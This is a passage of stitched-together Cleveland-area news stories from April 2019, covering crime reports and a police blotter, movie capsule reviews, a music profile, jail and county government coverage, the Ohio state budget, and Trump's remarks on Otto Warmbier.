apartment building. A brawl broke out in the buildings hallway when the sister arrived, police reports say. The woman told investigators that someone hit her with a gun before the fight ended and the neighbors went back to their respective apartments. The woman called two men, including the Barker, and told them about the fight. Barker arrived with a long gun, police reports say. A witness said she was standing outside the apartment building when she saw Barker point the gun at the window to the upstairs neighbors apartment. He fired one shot at the window, then ran away, police reports say. To comment on this story, visit Fridays crime and courts comments page. CLEVELAND, Ohio -- A 41-year-old man accused of raping two children over a five-year period in Cleveland is also suspected of illegally crossing the U.S.-Mexico border multiple times, authorities said. Rafael Hernandez, who is listed in court records as having an address in Middlefield in Geauga County, is charged with rape in connection with multiple incidents that happened from Jan. 1, 2008 to Jan. 1, 2013, according to court records. Court documents say he raped two children at an address in Clevelands Clark-Fulton neighborhood. Both children were under the age of 13. Geauga County Sheriffs deputies and Middlefield police officers arrested Hernandez on Wednesday, the same day investigators obtained a warrant for his arrest. Geauga County Sheriffs Lt. John Hiscox directed questions about the arrest to Cleveland police. The sheriffs office said Hernandez is suspected of crossing the U.S.-Mexico border in Texas five times, but did not provide any additional information. A U.S. Immigrations and Customs Enforcement spokesman could not immediately provide any more details about Hernandez when reached by phone Friday afternoon. Hernandez was booked into the Geauga County Jail but has since been turned over to Cleveland police, Hiscox said. His first appearance in Cleveland Municipal Court has not yet been scheduled. To comment on this story, visit Fridays crime and courts comments page. SOLON, Ohio -- Carrying a concealed weapon, Glenallen Avenue: At 4:05 a.m. April 25, police were dispatched to a home on a complaint of an unwanted guest. A man told police he was at the home of a woman to either get money or to stay there. When police told the man he was not wanted there, he left. A short time later, the womans daughter called police from Bedford stating that the man had returned. Police again went to the home and found the man sitting on the front porch with a backpack. Police told the man to immediately leave, and he complied. Officers told the man that if he returned, he would be subject to arrest. He replied, I know. Six minutes later, police were again called to the home and saw the man walking down the driveway. Police arrested the man and asked him the whereabouts of his backpack. He replied that he didnt have one. The backpack was found on the side of the house. Inside the backpack was a loaded, sawed-off shotgun. A check of the weapon revealed that it had been reported stolen from Lakewood. The man, 32, said the weapon was not his, that he had taken it from his son, and that he was just holding on to the gun. The original complaint indicated that the man did not have a son. Police charged the man with carrying a concealed weapon, having a weapon under disability, receiving stolen property and possession of criminal tools. Theft, Aurora Road: At 12:20 p.m. April 18, police were called to the Market District store, 34310 Aurora Road, where a man attempted to leave the store without paying for $132 worth of beer and diapers. When confronted by store management at the door and told to return inside, the man said, No, Im gone, and ran away. The man, who was wearing a yellow jacket, pants with duct tape stuck to them and who was carrying a yellow hard hat, was last seen running on SR 91. Police located the suspect, 52, of Cleveland, and arrested him. After being positively identified at the store, the man was charged with theft and jailed. OVI, Liberty Road: At 8:05 p.m. April 18, an officer spotted a car traveling at a high rate of speed. Radar showed that the car was being driven 49 miles per hour in a 35-mile-per-hour zone. The officer followed and saw the car cross over the double center line, then switch on his left, then right turn signal before making a turn. A traffic stop was made. The driver, a Chagrin Falls man, 62, smelled of alcohol. The man admitted to having one beer. The man failed field sobriety tests and was found to have a blood-alcohol content of .138, above the state minimum for drunk driving of .08. Police charged the man with OVI, prohibited BAC and for having an open container of alcohol in his car. OVI, Aurora Road: At 3:05 a.m. April 19, an officer on patrol drove behind an eastbound car. The car traveled left of center and, while in the westbound lane, nearly struck a mailbox. A traffic stop was conducted and the driver, an Aurora woman, 33, said she was coming from Lakewood where she had consumed a couple of beers. The woman failed field sobriety tests and was found to have a blood-alcohol content of .143. The woman was charged with OVI, prohibited BAC and not driving within marked lanes. OVI, Aurora Road: At 9:15 a.m. April 19, police were dispatched to a construction zone where a car crash had occurred and a person was reported injured. The striking car had left the scene and drove into a nearby lot and behind a building. Two police cars entered the lot and encountered the car coming from behind the building. Seeing two police cars, the driver backed up her car and nearly struck a cruiser. The car had front end damage. When questioned about what had happened, the driver said, It was bad, bad, bad. Inside the suspects car were four opened bottles of wine. The woman, 37, of Brecksville, said she was both coming from, and heading to that city. After complaining of injuries, the woman, who slightly smelled of alcohol, was taken to the hospital. It was found that she was driving with a suspended license. A urine sample was taken and is undergoing analysis. If you would like to discuss the police blotter, please visit our crime and courts comments page. CLEVELAND, Ohio -- When hes not playing the guitar in Cleveland indie-rock band The Modern Electric, Holden Laurence is making his own brand of 80s-influenced alternative music. The musician writes and performs all of his own solo music except for the drum parts, which are performed by The Modern Electric drummer Michael OBrien. The two musicians have created a seamless blend of catchy songs on 2017 album Wild Empty Promises and 2014s Romantic Americana. Laurence, a Berklee College of Music grad, has found his musical inspiration in new-wave, some classic rock (but none of that 70s arena rock BS) and alternative rock. Knowing that the first two albums I got as a kid were Simon and Garfunkel's Bridge Over Troubled Water and Pink Floyd's Wish You Were Here probably goes a long way in understanding who I am as a musician, he said. Now, Laurence is preparing to put out his latest album, Rewire. The album is his most cohesive work yet, he said. Hear Roses and a Romeo Mask, the latest single from Rewire, below. The song is one of the rawer moments on Rewire," with one of the albums moodier vibes -- compared to the boppy Friendship and the Fever and Speaking In Tongues. Roses and a Romeo Mask was the most difficult song to write on the album and took me years to finish, Laurence said. On the surface it's about a relationship that ultimately ends and the narrator struggles with regret, but there's far more depth to the story and its characters. Laurences engineer, Shane Olivo, helped rework the ending section of Roses and a Romeo Mask -- which features layered feedback into a wall of noise. He added this undercurrent of anxiety and desperation that cuts to the heart of the song, Laurence said. You can hear Roses and a Romeo Mask on Rewire, which will arrive on May 10. Laurence will celebrate the release with a concert at Mahalls a week later, on May 17. Laurence will perform with Punch Drunk Tagalongs and Niights, two of his favorite groups in Clevelands rock scene. Laurence will perform a mix of new songs from Rewire and some of his older releases. He hopes his new music strikes a chord with his audience. On an artistic level, in all of my musical endeavors I just want to feel like Ive maximized my potential and created the most honest, highest quality work possible at that moment, he said. Apart from that, I hope my music resonates with people and gives them a sense of comfort and consolation that theyre not isolated in their life experiences. Want more Cleveland music news and features? Sign up for Listen Up Cleveland, an email newsletter delivered on Thursday mornings. Google theater chains for screening dates and times. NA After PG-13; for sexual content and some college partying. 113 minutes. A young woman falls for a guy with a dark secret and the two embark on a rocky relationship. Based on the novel by Anna Todd. With Hero Fiennes Tiffin, Josephine Langford, Selma Blair and Jennifer Beals. IMDb A Amazing Grace G. 87 minutes. In early 1972, Aretha Franklin recorded Amazing Grace, a collection of gospel classics performed over two nights at the New Temple Missionary Baptist Church in Los Angeles. Due to the gifts of digital technology, Amazing Grace can now be seen in all its aesthetic, spiritual and historical glory. Washington Post NA Apollo 11 G. 93 minutes. A documentary on the mission that took astronauts Neil Armstrong, Buzz Aldrin and Michael Collins to the moon and back half a century ago. Apollo 11 relies on footage shot and audio recorded at the time, and the results, from liftoff to landing to the journey back home, are completely riveting. Los Angeles Times NA Breakthrough PG; for thematic content including peril. 116 minutes. When her 14-year-old son (Marcel Ruiz) drowns in a lake, a faithful mother (Chrissy Metz) prays for him to come back from the brink of death and be healed. With Topher Brace, Josh Lucas and Dennis Haysbert. IMDb A Captain Marvel PG-13; for sequences of sci-fi violence and action, and brief suggestive language. 132 minutes. Any fears that Marvels first female-driven movie would not be deliver are dispelled in the first few minutes of Captain Marvel, as Brie Larson proves to be a match for any male superhero. Without qualification, Captain Marvel is a brilliant, blazing success and the perfect lead-in to the Avengers: Endgame movie opening April 26. With Samuel L. Jackson, Annette Bening and Jude Law. Michael Sangiacomo NA The Curse of La Llorona R; for violence and terror. 93 minutes. Ignoring the eerie warning of a troubled mother suspected of child endangerment, a social worker and her own small kids are soon drawn into a frightening supernatural realm. Their only hope to survive La Llorona's deadly wrath may be a disillusioned priest. IMDb A Dumbo PG; for peril/action, some thematic elements, and brief mild language. 130 minutes. Dumbo is a Tim Burton movie, but it is the least overtly Tim Burton Movie in years. Instead of the over-the-top quirkiness that has come to dominate his movies, Burton allows this (bitter)sweet, inspiring story of outsiders under the big top to shine on its own merits. Set in 1919, the action focuses on the low-rent Medici Brothers Circus, traveling the back road of America. With Colin Farrell, Danny Devito, Eva Green and Michael Keaton. Laura DeMarco, The Plain Dealer C Five Feet Apart PG-13; for mature thematic elements, strong language and suggestive material. 115 minutes. A mushy, three-hankie weeper that is aimed squarely between the eyes of 15-year-old girl with a crush on Cole Sprouse (Jughead in Riverdale). Set in a hospital, the romantic melodrama centers on the romance between two 17-year-old cystic fibrosis patients (Sprouse and Haley Lu Richardson). Washington Post C Hellboy R; for strong bloody violence and gore throughout, and language. 120 minutes. In this new reboot, David Harbour takes over the brawny red-face role from Ron Perlman. Harbour is an ideal choice to sport the crown of sawed-off horns as the demon with a heart of gold. Describing the plot of this truly crazy monster mash is a fools errand. The gist is that Hellboy has to confront his own origins and existence while battling to save the world. Tribune News Service A High Life R; for disturbing sexual and violent content including sexual assault, graphic nudity and for language. 119 minutes. High Life, starring Robert Pattinson and Juliet Binoche, is a bleak tale of a doomed space mission of death-row inmates headed for a black hole. Laura DeMarco, The Plain Dealer B- Little PG-13; for adult humor and suggested sexuality. 109 minutes. Marsal Martin, the 14-year-old star of ABCs Black-ish, came up with the idea of a grown woman transformed back into the kid version of herself. The concept gives her the starring role. With Issa Rae and Regina Hall. Newsday NA Missing Link PG; for action/peril and some mild rude humor. 95 minutes. British explorer Sir Lionel (voice of Hugh Jackson) wants to burnish his reputation and gain entry to a snobby club of scientific adventurers by making a signature discovery. He gets a tip about the where about of the Sasquatch in the Pacific Northwest, and off he goes making contact with the creature who is a gentle giant. With voices of Zach Galifianakis, Zoe Saldana and Emma Thompson. Philadelphia Inquirer NA The Mustang R; for language, some violence and drug content. 96 minutes. The story of Roman Coleman (Matthias Schoenaerts), a violent convict, who is given the chance to participate in a rehabilitation therapy program involving the training of wild mustangs. With Jason Mitchell, Bruce Dern and Connie Britton. IMDb NA Penguins G. 76 minutes. Disneynature's all-new feature film is a coming-of-age story about an Adelie penguin named Steve who joins millions of fellow males in the icy Antarctic spring on a quest to build a suitable nest, find a life partner and start a family. Narration by Ed Helms. IMDb C Pet Sematery R; for horror violence, bloody images, and some language. 101 minutes. Its pretty ironic for a remake of a 1980s horror classic to choose the tag line Sometimes dead is better, especially when Pet Sematary itself is a cautionary tale about the dangers of reviving the things you love. This remake of Steven Kings novel just isnt the same after being dragged out of the grave. With Jason Clarke, Amy Selmetz and John Lithgow. Tribune News Service NA The Public PG-13; for thematic material, nudity, language, and some suggestive content. 149 minutes. An act of civil disobedience turns into a standoff with police when homeless people in Cincinnati take over the public library to seek shelter from the bitter cold. With Alex Baldwin, Taylor Schilling, Emilio Estevez, Jena Malone and Christian Slater. IMDb B Shazam! PG-13; for intense sequences of action, language, and suggestive material. 132 minutes. Superhero Shazam first appeared in comic books nearly 80 years ago. DC Comics and Warner Bros. Shamza! is the first big-budget modern blockbuster for the character, and the filmmakers have stayed true to its essence combining his childlike 1940s gee-wiz enthusiasm with a postmodern sense of irreverence, creating a film that is delightfully playful and sharply self-aware. With Zachary Levi and Jack Dylan Grazer. Tribune News Service A- Us R; for violence/terror, and language. 116 minutes. Us is a 1970s-inspired horror flick that wears its references on its sleeve, grapples with Big Ideas and crawls with genuinely creepy tension. This is a family horror melodrama that is a classic home invasion thriller that ponders huge philosophical questions about our own existence and identity. Directed by Jordan Peele, with Lupita Nyongs, Winston Duke and Elisabeth Moss. Tribune News Service NA Woman at War Not rated; but there is one scene with absolutely non-erotic nudity. 101 minutes. Halla (Halldora Geirharosdottir), a woman in her forties, declares war on the local aluminum industry to prevent it from disfiguring her country. She risks all she has to protect the highlands of Iceland-but the situation could change with the unexpected arrival of a small orphan in her life. Subtitles. IMDb CLEVELAND, Ohio 60 Minutes CBS long-running news magazine show, will explore how powerful synthetic opioids are making it from China to the U.S., as well as efforts by federal prosecutors in Ohio to combat the flow of drugs from outside the country. Correspondent Scott Pelley traveled to Cleveland for a segment airing Sunday, which will highlight the U.S. Attorneys Offices work on cases involving fentanyl and its analogues being sold and shipped to the U.S. from China, according to a news release. The story will feature interviews with U.S. Attorney Justin Herdman and federal prosecutor Matt Cronin, who works on cases involving drugs shipped from China and trafficking through the darknet, according to the release. The office has done a substantial amount of work to combat the opioid epidemic, which has hit Cuyahoga County and Northeast Ohio particularly hard in recent years. A teaser clip shows the U.S. attorney talking with Pelley behind a table with fentanyl and carfentanil, a more powerful cousin of the already potent opioid, on display. Herdman, wearing gloves, notes the danger of even touching carfentanil and said theres a reason we have a medic standing by. A U.S. attorney shows "60 Minutes" enough fentanyl to kill "every man, woman and child in Cleveland." See the full report, Sunday https://t.co/5CifDz75tO pic.twitter.com/r8RxSWICTP 60 Minutes (@60Minutes) April 25, 2019 The segment will also focus on a case involving Guanghua and Fujing Zheng, a father-and-son duo in Shanghai who were indicted in federal court in Cleveland in August. They are charged with running a large operation that manufactured and shipped fentanyl analogues and 250 other drugs to 25 countries and 37 U.S. states. Customers contacted them online, and many of the orders were placed via emails. Prosecutors in Ohio worked on the case because investigators linked the Zheng operations drugs to the overdose deaths of Thomas Rauh and Carrie Dobbins in Akron. Ohio residents were convicted in both deaths. Prosecutors said drug dealer Leroy Steele emailed the Zheng organization in February 2015 to buy acetylfentanyl. Steele then sold drugs to Rauh, who died on March 21, 2015. Co-defendant Ryan Sumlin sold some of the synthetic opioids from the shipment sent to Steele to Dobbins, who fatally overdosed on March 28, 2015. While the drug dealers in Ohio were prosecuted, along with a middleman in Massachusetts who accepted the Zhengs shipments from China and then sent them to domestic locations, Pelley explores how the Chinese government has not cooperated with the U.S.s efforts to combat the flow of opioids, the release states. Another teaser clip also shows an encounter between Guanghua Zheng and 60 Minutes producer in Shanghai. The producer asked Zheng questions, including about whether the Chinese government will ever arrest him. Zheng replies in Chinese that the government has nothing to do with it, according to the release and the video. The show airs at 8 p.m. Sunday. CLEVELAND, Ohio Councilman Ken Johnson has again hit up taxpayers for gas expenses he says he incurred while driving hundreds of miles in his ward in February to inspect abandoned houses, according to his expense report. This is yet another example of what I view as Johnsons con jobs and another example of City Council dipping into tax dollars to pay Johnson rather than challenging or rejecting his preposterous claims. What makes this latest report even more suspect than the many dozens he has filed in the past is that Johnson billed taxpayers for the same thing just two months earlier. He reported that he said he and two others drove 625 miles in December to look at houses in his East Side ward, which is about two miles across at its widest point. That month council reimbursed him for $341 for his miles and for an additional $439 worth of gas he said he used traveling in his ward. Every month for over a decade Johnson has submitted receipts for $1,200, the maximum expense allowed by council (no other council member comes close). When council does push back and challenges his claims which it has done a couple of times since I began questioning his practices Johnson invents a new set of expenses. I have highlighted Johnsons ever evolving monthly expenses in numerous columns, which you can read here. In February, Johnson set aside the bulk of the potential $1,200 expense allotment to boost the pay of his council aide, Garnell Jamison. The practice is legal and one several other council members employ. But Johnson only recently started doing this because council closed off other avenues he had used to be reimbursed directly for expenses. Johnson also submitted in February receipts for his phone expenses and for $130 worth of gas. The gas receipts beg for more scrutiny. He submitted five gas receipts showing he purchased about 70 gallons of gas. Four of the five are from Sams Club, two from the Brooklyn location and two from the Bedford location, both miles from his ward. He said on his forms that the gas was pumped into white pick up truck and a white 4x4 pick up. This calls for some back-of-the-napkin math. Lets say Johnsons pick-ups each get just 10 miles per gallon (though they likely get a bit more). That equals 700 miles worth of gas that he said he used to inspect houses in his ward during a month with only 28 days. Thats a lot of time behind the wheel, 25 miles a day counting Saturdays and Sundays. Johnson claims on his expense forms that he was assisted by two drivers: Jamison and city Recreation Department employee Darian Johnson. (Darian once lived with Johnson. And years ago, Johnson helped Darian change his legal surname to match his own.) The February expense records released by council do not show who visited what properties or when, or if Johnson ever provided such detail. (A council spokeswoman said she is checking on whether more paperwork exists to show council demanded more details from Johnson.) Johnson continues to refuse to respond to my questions about his expenses. Thats fine. His paper trail speaks loud and clear: Hes cheating the taxpayers. CLEVELAND, Ohio The Lorain County sheriffs captain being offered the job of running Cuyahoga Countys distressed jails has years of experience overseeing Ohio jails, but none of the size of the system she would inherit here. The resume for Ronda Gibson shows she spent the last nine months as the administrator of the Lorain County jail, which holds up to 440 inmates fewer than a quarter of the 2,000 inmates now at the Cuyahoga County jails. Gibson spent the previous 11 years running the even smaller 150-bed jail in mostly rural Wood County, home of Bowling Green. Before that, she ran the 62-bed jail in rural Seneca County, home of Tiffin. Before going into jail management, Gibson spent six years as an office manager for the Seneca County Sheriffs Office and eight years as director of the Seneca County prosecutors victim-assistance program. Contacted for comment on this story Friday, county spokeswoman Mary Louise Madigan described Gibson and the other finalist for the job, OBell Thomas Winn, as very strong candidates. But Madigan declined to discuss the candidates credentials. Gibson has yet to say whether she will take the job of overseeing the countys jails, where eight inmates died last year and seven corrections officers and two administrators have been indicted on charges related to their duties. The jails, meanwhile, have operated without a permanent director for five months. The countys main jail in downtown Cleveland is one of the largest corrections facilities in the state and held 2,400 inmates at times last year. The new director also will oversee two satellite jails: the 83-bed Euclid Jail and the 120-bed Bedford Heights Jail. On Wednesday, the administration of County Executive Armond Budish disclosed that it had revoked a job offer to Winn, the warden at the Saginaw Correctional Facility, a Michigan prison that holds about 1,480 inmates. The county has declined to disclose the reason for revoking the offer. Winns resume shows he has served as warden of the Saginaw facility since about 2014 and as deputy warden for four years prior to that. He also served as deputy warden at Michigans Standish Maximum Correctional Facility from 2006 until 2009, when the 500-bed facility closed. His other experience includes stints as inspector at Michigans St. Louis Correctional Facility and as a lieutenant at the Mid-Michigan Correctional Facility. CLEVELAND, Ohio A new Cuyahoga County plan envisions a unified network of bike paths, trails and bike-friendly roads across the county, its architects at the County Planning Commission said. The Cuyahoga Greenways, highlighted in Cuyahoga County Executive Armond Budishs state of the county speech last week, would connect established bike routes with ones currently in the works, and join them all with proposed routes. The plan has been percolating for a couple of years now, and was inspired by the Eastside Greenway. One of the first steps is to say, Hey, we have a trail here and a trail here, why dont we try to link these two together so we could have a more contiguous system, said Michael Mears, senior planner at the Cuyahoga County Planning Commission. The greenway hopes to connect Cuyahoga County's existing trails, pictured above, using a network of proposed trails, paths and bike friendly streets. (SmithGroup and Cuyahoga County)SmithGroup and Cuyahoga County The project design, which was paid for by the Northeast Ohio Areawide Coordinating Agencys Transportation for Livable Communities Initiative, maps out an 815-mile web across the county, which includes 122 miles of existing trails, 47 miles of proposed trails and 121 miles of proposed on-street bikeways, connecting to the Towpath, or the Cleveland Metroparks. Building the system, one leg at a time, would involve the buy-in and financial support from municipalities across the county and regional organizations. Theres no timeline for its completion, and no estimate on how much it would cost to make it a reality. Its unclear which portion could be completed first. Its a vision, but one thats getting positive buzz among bike advocates and the countys anchor city: Cleveland, where city traffic engineers say its now standard to think of ways to improve bike friendliness on all road projects. There is enthusiasm to make sure that all residents in all of our cities throughout the county have an opportunity to have the option to connect, Freddy L. Collier Jr, director of Clevelands City Planning Commission, said. I think theres an enthusiasm around being able to have an alternative to getting in your car. For me, its exciting to think of our bike facilities as not just standalone segments, like a mile here and a mile there, but thinking about it as a network. Because thats really whats going to help get more people out riding, said Jacob VanSickle, executive director of Bike Cleveland, a biking advocacy group. The greenways plan aims to attract more amateur bikers, people curious about biking, but who dont feel comfortable riding alongside busy car traffic. That group makes up about 51 percent of urban Americans, according to a survey of residents of the countrys 50 largest metropolitan cities. The greenways incorporated some bike friendly projects already cooking, including Clevelands Lorain Avenue Cycle Track, which would run along the north side of the avenue between West 20th and West 45th Streets, and the south side from West 45th to West 65th. Its is set for construction in the next few years and is a collaboration between Cleveland and the NOACA, according to our report from 2017. Also in the mix is the Midway, a proposal that would eventually constitute a system of bicycle highways running down the center lanes of more than 50 miles of wide, underused streets that once carried streetcars. The first leg of the Midway would extend 2.5 miles along the middle of Superior Avenue from Public Square to East 55th Street. Its also is set for construction in the next few years and is a collaboration between Cleveland and the NOACA, according to our report from 2017. Many municipalities had bicycle activity going on, which sped up into that greenway initiative. And were excited to see that it is starting to accelerate countywide, Collier said. The greenways planners also dreamed up proposed bike friendly routes, using insight from the community, previous studies and their own legwork to determine which roads could join the network. They view the plan as an adaptable guide for communities to use as they evaluate road projects and consider making their roads more bike friendly. Nothing is set in stone: the routes could change, and new ones could be added. At least one project in the greenway plan converted a routine road resurfacing job into an opportunity to create bike lanes, set for construction in 2020, connecting a 2.7 mile stretch from Dunham Road to Tinkers Creek to the Towpath. The project, which involves the village of Walton Hills and the city of Maple Heights, originally just set out to resurface the road. But the county offered to pitch in money to cover the resurfacing project, so the municipalities could pay for the biking improvements. The story was updated to clarify that the Midway is a proposal that would eventually constitute a system of bicycle highways running down the center lanes of more than 50 miles of wide, underused streets that once carried streetcars. Read a summary about the Cuyahoga Greenways below. Or read the document on a mobile device. AKRON, Ohio Police say two people were wounded in separate shooting incidents, with both victims being attacked while in their vehicles. Both victims were taken to the hospital with non-life-threatening injuries. The first shooting occurred at about 5 p.m. Wednesday on the 400 block of Weeks Street in East Akron, police say. A 35-year-old woman who was a passenger in a 2019 Ford Escape driving down Weeks Street when two males opened fire on the vehicle. The woman was struck twice in the arm. The 32-year-old male driver, who was not wounded, drove the woman to Akron City Hospital for treatment. Police say a house on the street was struck by stray bullets but no one was injured. The two male suspects remain at-large. One was wearing a gray hooded sweat shirt, while the other was wearing a black hat with red trim. The second shooting occurred after 10 p.m. Wednesday in East Akron on South Arlington Street near Johnston Street. A 44-year-old male from Norton says he was in his 2019 Ford Fusion when he began talking to two females in a vehicle next to his. While talking to the females, an armed male approached and attempted to rob him, police say. The suspect opened fire and wounded the victim in the leg. The victim drove himself to Akron City Hospital. The suspect was wearing all black clothing. Anyone with information can call Akron detectives at 330-375-2490 or 330-375-2TIP, or the Summit County Crimestoppers Inc. at 330-434-COPS. Individuals also can text TIPSCO with tips to 274637 (Crimes). Callers can remain anonymous. To comment on this story, visit Thursdays crime and courts comment section. CLEVELAND, Ohio -- A Cuyahoga County jail officer who resigned after he snapped on an inmate who threw a banana peel in his direction rained blows and knelt on the inmate for close to seven minutes, according to video obtained by cleveland.com. The video of former officer John McCloud was one of two the county released this week that offer a look into one of several use-of-force cases involving officers attacking inmates during a period when U.S. marshals and state investigators say inmates civil rights were routinely violated. The county released the video after cleveland.com filed a claim in the Ohio Court of Claims seeking the release of this and several other videos and records related to the use-of-force cases. Nine other videos, including ones that documents say show more violence against inmates, have not yet been released, including those of the officers charged with crimes. McCloud has not been criminally charged. He told investigators after the attack that he blacked out and didnt remember the details of the attack. He didnt report the incident to his supervisors for more than an hour, according to records obtained by cleveland.com. The video shows: The inmate walking near a garbage can, then tossing the banana peel in McClouds direction. McCloud follows the inmate and the two have a brief exchange. The inmate walks away and bends down to pick up something on the ground. McCloud grabs the inmate and puts him in a headlock. The inmate escapes his grasp and backs away from McCloud, who walks up to him. The two stand without moving for about 12 seconds. The inmate tries to walk away and McCloud grabs him. The inmate breaks free again and McCloud charges at him, grabs him and throws him to the ground. He kneels on the inmates chest then appears to hold him to the ground. He picks the inmate up by his wrists and drags him a few feet. The inmate tires to break free and the two wrestle on the ground until McCloud lies on top of him with a forearm to the back of the inmates head. McCloud holds him on the ground for about two minutes, sometimes pressing his head against the floor. He gets up and kneels on the inmates head for another 50 seconds. McCloud grabs the inmate by the hair, pulls him up and another bout of wrestling ensues. McCloud throws the inmate to the ground, stands over him and walks away. CLEVELAND, Ohio -- Cleveland State University volunteered this week to be the next higher-education institution to undergo a state performance audit to identify ways to increase efficiency and save money. But the soonest the Ohio Auditors Office could get started at CSU, or any other school, would be 2020 because state law limits such audits to one every two years. Auditor Keith Faber wants that law changed. And a bill introduced in the state Senate last month would do just that, doing away with any limits on performance audits of public colleges or universities. If you leave the cap on, it would take me 72 years to get through every state institution, Faber said in an interview this week with cleveland.com. Faber claims the limit was most likely placed in the 2016 law so the state could treat the first audit as a pilot program. Ohio State University was the first university to volunteer, and was audited in 2017. That audit found that OSU administrators could potentially save up to $6.5 million by organizing printers, moving computers to data centers and adopting consistent hiring and finance processes. The audit cost about $300,000. Faber views Senate Bill 120 as crucial to his office being able to continue to work with universities to be more efficient. He said many of Ohios higher education institutions are interested in this kind of audit. Just because CSU volunteered doesnt mean it will be selected. Most likely the next one would be a four-year institution, but the auditors office would also look at neighboring two-year institutions to see how the colleges could work together and share services. The auditors office also performs financial compliance audits, which are yearly. When asked why the office would not prioritize an insituition with history of recent fiscal distress, such as Wright State University, Faber said the auditors office already works with troubled colleges. That doesnt mean those schools are off the short-list for a performance audit, though, he said. Ohio Department of Higher Education Chancellor Randy Gardner does not yet have a position on the legislation, a spokesman said. COLUMBUS, Ohio As state lawmakers prepare to make their mark on Gov. Mike DeWines first state budget proposal, all signs are pointing toward major elements of the plan getting cut. DeWines $69 billion, two-year budget plan, which he has marketed to state lawmakers and the public as an investment in Ohios future, has two costly signature items a $900 million H2Ohio fund to keep Lake Erie and other state waterways clean, and an increase of $550 million over two years in spending on wrap-around support services for at-risk public-school students. Hes also proposed myriad spending increases for smaller programs geared toward public-health programs and childrens services, like lead-paint removal or increased home-visits for pregnant women and young mothers, and crisis stabilization funds. But unless the Republican-controlled House leadership which has been tight-lipped makes a surprising decision to raise taxes, DeWines signature proposals seem to be in danger of being cut. A confluence of factors is at play. 1. The $500 million revenue difference DeWines plan is built off his budget offices belief that the state will take in $48.4 billion in tax revenues over the next two years. The Ohio Legislative Service Commission, the legislatures research arm, believes that number is about $47.9 billion. The $500 million difference primarily due to differing opinions about how much income tax revenue the state will take in this year will translate to $500 million less to spend, if House members go with the lower number, which theyve indicated theyre likely to do. DeWine Budget Director Kim Murnieks this week told members of the Senate Finance Committee, which has begun hearings on the state budget even though the House hasnt passed its own plan yet, that the DeWine administrations forecasts are a more conservative version of the baseline model provided to them by a IHS Markit, an outside economic modeling company. OBMs track record for forecasting GRF [general revenue fund] tax revenues is to be consistently conservative. Our forecast is not aggressive, Murnieks said. Ross Miller, chief economist for the LSC, told Senate Finance Committee members this week legislative researchers two years ago changed their model for predicting how much the state will pay out to taxpayers in refunds. That is the reason for hundreds of millions of dollars in the difference, he said. 2. Conflicting education plans Two well-respected House members, Reps. Bob Cupp and John Patterson, to much fanfare have introduced a new school-funding formula that would send an extra $720 million over two years to Ohios K-12 schools to pay for classroom instruction. Meanwhile, DeWine hasnt proposed any increase in base school funding. Instead, as his signature proposal, hes proposed a $550 million increase over two years to pay for wraparound support services like after-school programs or mental and physical health services targeting at-risk students. In other words, House members seem primed to assume theyre working with less money while proposing to spend more on K-12 schools. It seems that something has to give. House Speaker Larry Householder has said hes leaning toward separating the school-funding increase from the rest of the budget, but leaving money for the House plan in the future may require cuts in DeWines plan now. I personally feel that [DeWines wraparound proposal] is a very worthwhile investment for the state of Ohio, said Sen. Matt Dolan, a Chagrin Falls Republican who chairs the Senate Finance Committee, which will review and approve the Senate version of the state budget. Can we do both? Can we do Cupp-Patterson and that? No. The revenues dont support it. DeWine, meanwhile, has taken to promoting his education plan when asked how negotiations are going with the legislature. Weve thought out what our priorities should be. Ive talked with certainly over half the legislature in person. I havent had anyone tell me Mike, I dont think these goals are the right goals. That doesnt mean they wont have their own ideas, he told reporters this week. 3. An obscure state law DeWines budget proposal scrapes up against an obscure Ohio law referred to as the State Appropriation Limit that caps the amount by which the state can increase its spending in 2020 at 3.5%. DeWines budget proposal falls under that cap, but just barely, by about $3.3 million in 2020 and $1.2 million in 2021. State lawmakers have discussed the limit, viewing it as a damper on any spending increases they might otherwise consider. The recently passed state transportation budget added $70 million in annual funding for public transit, and $35 million in state highway patrol funding, seemingly exceeding the SAL. But thanks to an accounting maneuver in the transportation budget that switched an extra state employee pay period to a different year, Murnieks told Senate Finance Committee members that DeWines budget remains under the limit, even with the new transit and law-enforcement spending. As a result of those changes, theres a little more room, but not a whole lot more room, to do more spending, Dolan said. Im curious what the House is going to do. Where does the budget stand today? DeWines budget is currently parked at the House Finance Committee, which last held a public meeting on March 21. House staff previously had said they expected that amendments, which were due on April 12, would be introduced at public hearings sometime during the week of April 22. But that hasnt happened. Staff said Friday that budget negotiations are ongoing, and changes are expected to be introduced next week. Once the budget clears the House, it will go to the Senate for further changes. A conference committee then will be formed to hash out the differences before sending it back to DeWine for his signature in time for a June 30 legal deadline. WASHINGTON, D.C. - President Donald Trump on Friday said the United States did not pay North Korea to return Cincinnati-area college student Otto Warmbier to the United States after he was imprisoned in North Korea and accused of trying to steal a propaganda poster. Warmbier returned to Ohio in a comatose state in 2017 after spending more than a year imprisoned in North Korea. He died six days later. On Thursday, The Washington Post reported that North Korea insisted that a U.S. official pledge to pay a $2 million bill for Warmbiers hospital care before letting him leave. When reporters asked him about the matter on Friday, Trump replied: We did not pay money for our great Otto. Warmbiers family has sued the North Korean government in U.S. courts over his death and obtained a $501 million judgment theyre unlikely to collect. No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else. This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl! Donald J. Trump (@realDonaldTrump) April 26, 2019 He also described Warmbiers case as very unusual, and said he had not paid money for any hostage. Trump also took to Twitter on Friday morning to discuss the case. He said: No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else. His tweet also criticized the Obama administration for paying money for hostages, and trading prisoners for the return of former Sgt. Bowe Bergdahl, whom Trump described as a traitor. The prisoners the U.S. released in exchange for Bergdahl subsequently joined the Talibans political office in Qatar The Obama administration disputed Trumps insistence that it paid Iran to release the Americans it held in jail, saying the money helped settle claims over funds that were frozen in the United States during Irans revolution. In a separate tweet, Trump went on to describe himself as the greatest hostage negotiator that I know of in the history of the United States. CHEERS ... and congratulations to Indians first baseman Carlos Santana for becoming a U.S. citizen. Santana, from the Dominican Republic, was sworn in April 19 in Cleveland with his wife Brittany and their adorable kids looking on. How hard was the process? Santana shared a practice citizenship test with Indians manager Terry Francona. Santana scored 9 out of the first 10 questions. Tito got 7 right. JEERS ... to an Akron parochial school that kicked out two children ages 10 and 7 just 30 days before school was to end. The childrens mother said school officials told her it was because she was unwed and the children have different fathers. When questioned about the matter, Chapel Hill Christian School emailed CBS News a statement that parents must sign a written agreement to conform to expressed guidelines of conduct. In this supposed sin-free 